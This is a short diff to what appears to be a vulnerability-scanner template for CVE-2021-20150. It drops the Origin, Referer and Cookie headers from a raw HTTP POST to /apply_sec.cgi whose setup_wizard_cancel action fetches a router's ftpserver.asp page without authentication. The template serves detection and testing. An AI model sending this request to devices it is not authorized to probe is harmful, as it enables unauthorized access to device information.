Update CVE-2021-20150.yaml

cves/2021/CVE-2021-20150.yaml

@@ -22,9 +22,6 @@ requests:
       - |
         POST /apply_sec.cgi HTTP/1.1
         Host: {{Hostname}}
-        Origin: http://{{Hostname}}
-        Referer: http://{{Hostname}}/setup_wizard.asp
-        Cookie: compact_display_state=false
 
         action=setup_wizard_cancel&html_response_page=ftpserver.asp&html_response_return_page=ftpserver.asp